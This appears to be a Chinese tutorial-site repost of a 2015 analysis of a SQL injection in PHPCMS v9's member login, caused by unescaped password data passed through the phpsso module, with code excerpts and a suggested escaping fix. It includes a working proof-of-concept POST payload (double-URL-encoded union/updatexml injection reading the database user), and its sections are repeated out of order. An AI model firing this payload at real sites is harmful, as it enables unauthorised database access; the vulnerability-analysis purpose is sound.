您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMS提示\phpcms\modules\member\index.php用户登陆SQL注入漏
霍负2025-05-20phpcms教程已有人查阅
导读catalog1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考1. 漏洞描述2. 漏洞触发条件
catalog
1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考
1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php
这段代码如果在php5.3之前的情况下是没有问题的,因为默认情况下parse_str会启动gpc机制对特殊字符进行转义
但是在php5.3之后gpc机制默认就关闭掉了,这就导致如果解析出来的内容如果带有单引号这类个特殊字符,就原封不动的放到的变量中,这导致了注入的风险
\phpsso_server\phpcms\modules\phpsso\index.php
我们继续讨论黑客没有auth_key的情况,我们继续分析
\phpcms\modules\member\index.php
中的login方法
1. 登录用户提交用户名和密码给menber的login
2. 然后member的login通过ps_member_login构造发送phpsso请求login验证的http包,并且将用户名和密码使用auth_key进行编码,作为http包的post数据
3. phpsso认证完成后,将用户的信息返回给member的login进行后续处理
4. 在整个认证过程中,password没有做任何处理就直接传入phpsso,phpsso没有对于解码数据进行过滤,造成phpsso SQL注入问题
5. 防御方法
针对phpsso模块添加过滤代码,较好的方式应该是将转义和过滤放在数据库操作的前一步,这样可以极有效缓解SQL注入带来的问题
\phpcms\modules\member\index.php
Copyright (c) 2015 Little5ann All rights reserved
1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考
1. 漏洞描述
2. 漏洞触发条件
0x1: POC
http://localhost/phpcms_v9/index.php?m=member&c=index&a=login
dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
//验证时可以手工填写验证码、或者把代码中的验证码验证逻辑临时注释掉
将"&username="进行url编码后作为password的值用于在phpsso中覆盖之前的username值,在"&username="后面添加进行两次url编码的SQL语句3. 漏洞影响范围
4. 漏洞代码分析
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php
if(isset($_POST['data']))
{
/*
将getapplist()结果赋值给$_POST['data'],在auth_key解码之后使用parse_str解析成数组格式这段代码如果在php5.3之前的情况下是没有问题的,因为默认情况下parse_str会启动gpc机制对特殊字符进行转义
但是在php5.3之后gpc机制默认就关闭掉了,这就导致如果解析出来的内容如果带有单引号这类个特殊字符,就原封不动的放到的变量中,这导致了注入的风险
*/
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
if(empty($this->data) || !is_array($this->data)) {
exit('0');
}
}
else
{
exit('0');
}
继续跟进login行为的代码\phpsso_server\phpcms\modules\phpsso\index.php
public function login()
{
//$this->data的内容没有经过任何处理就直接参数到数据库查询当中,如果我们有auth_key的话,完全可以构造带有恶意的内容提交造成SQL注入漏洞
$this->password = isset($this->data['password']) ? $this->data['password'] : '';
$this->email = isset($this->data['email']) ? $this->data['email'] : '';
if($this->email) {
$userinfo = $this->db->get_one(array('email'=>$this->email));
} else {
$userinfo = $this->db->get_one(array('username'=>$this->username));
}
要直接利用login逻辑进行SQL注入,需要黑客有auth_key,phpcms auth_key泄漏的漏洞相关知识。我们继续讨论黑客没有auth_key的情况,我们继续分析
\phpcms\modules\member\index.php
中的login方法
//username使用的is_username进行了过滤而password没有做任何处理
$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
if(pc_base::load_config('system', 'phpsso'))
{
$this->_init_phpsso();
//通过client的ps_member_login方法传入$username、$password获取一段数据
$status = $this->client->ps_member_login($username, $password);
$memberinfo = unserialize($status);
继续跟进ps_member_login
\phpcms\modules\member\classes\client.class.php
public function ps_member_login($username, $password, $isemail=0)
{
if($isemail) {
if(!$this->_is_email($username)) {
return -3;
}
$return = $this->_ps_send('login', array('email'=>$username, 'password'=>$password));
} else {
$return = $this->_ps_send('login', array('username'=>$username, 'password'=>$password));
}
return $return;
}
/**
* 发送数据
* @param $action 操作
* @param $data 数据
*/
private function _ps_send($action, $data = null)
{
//_ps_post这个方法向phpsso机制的请求login行为,即member的认证本质是通过phpsso来完成的,同时而phpsso的认证数据是需要auth_key编码的
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
}
攻击向量1. 登录用户提交用户名和密码给menber的login
2. 然后member的login通过ps_member_login构造发送phpsso请求login验证的http包,并且将用户名和密码使用auth_key进行编码,作为http包的post数据
3. phpsso认证完成后,将用户的信息返回给member的login进行后续处理
4. 在整个认证过程中,password没有做任何处理就直接传入phpsso,phpsso没有对于解码数据进行过滤,造成phpsso SQL注入问题
5. 防御方法
针对phpsso模块添加过滤代码,较好的方式应该是将转义和过滤放在数据库操作的前一步,这样可以极有效缓解SQL注入带来的问题
\phpcms\modules\member\index.php
$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
//$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
/* 过滤、转义 */
$password = isset($_POST['password']) && trim($_POST['password']) ? addslashes(urldecode(trim($_POST['password']))) : showmessage(L('password_empty'), HTTP_REFERER);
/**/
Relevant Link:
http:// .tang3.org/blog/2015/07/21/PHPCMS用户登陆SQL注入漏洞分析/
6. 攻防思考Copyright (c) 2015 Little5ann All rights reserved
本文标签:
很赞哦! ()
相关教程
图文教程
phpcms有控制器吗?怎么新增一个控制器?
phpcms有控制器。phpcms控制器是模块的类文件,储存在“phpcms/modules”下面,每个模块都是独立的命名方式,类名是“文件名+.php命名”格式;控制器类默认继承系统的函数库
phpcms的html不可写的解决方法
在安装phpcms时,出现目录文件属性检测结果:网站根目录不可写,index.html文件不可写。先随便搞个HTML文件,改名为index.html(注意不能是0字节
PHPCMSv9.6.0后台getshell漏洞修复方法
这里自己复现了一下,自己写了一下因为是后台的,还得登陆两次。所以不好用,主要是学习学习漏洞来自于ROOTDIR/phpsso_server/phpcms/modules/
phpcms系统连接mysql失败的解决方法
失败原因:phpcms v9安装程序代码对提交的密码中特殊字符(如:&$^!@#)未进行escape转义处理。1、修改install/step5.tpl.php 127行为:
相关源码
-
(自适应)个人图集图片相册画册pbootcms网站模板源码本模板基于PbootCMS系统开发,为图片展示类网站设计,特别适合个人作品集、摄影画册、艺术图集等内容展示。采用响应式布局技术,确保各类图片在不同设备上查看源码 -
(自适应)驾校培训学车活动免费pbootcms源码下载本模板基于PbootCMS内核开发,为驾校培训行业打造,具备完善的招生展示、课程预约、教练团队展示等功能模块。响应式设计适配各类移动终端,数据实时同步管理,助您高效开展线上业务。查看源码 -
(自适应响应式)蓝色勘察设计院机构单位商会协会pbootcms模板下载本模板基于PbootCMS系统开发,为勘察设计院所、工程咨询单位设计,特别适合展示设计成果、技术服务和项目案例。采用响应式技术,确保设计图纸和方案以及文案在不同设备上都能清晰展示。查看源码 -
(PC+WAP)智能机器人人工智能物联网自动化设备源码下载本模板基于PbootCMS内核开发,为智能机器人及传感器科技企业精心设计。采用现代化设计风格,突出科技感与专业性,多方位展示企业技术实力与产品优势。查看源码 -
(自适应)蓝色五金制品配件管件pbootcms网站源码下载基于PbootCMS内核开发的五金行业专用模板,采用响应式设计架构,确保产品展示在各类移动设备上的呈现。通过模块化布局与工业风视觉设计,帮助五金企业高效展示产品规格、应用场景及技术支持,建立专业可靠的行业形象。查看源码 -
(自适应)电子元件电路板元器件pbootcms网站源码下载为电子元器件、电路板制造类企业设计,特别适合展示产品参数、技术规格等内容。采用响应式技术,确保各类电子元件在不同设备上都能清晰展示。查看源码
| 分享笔记 (共有 篇笔记) |
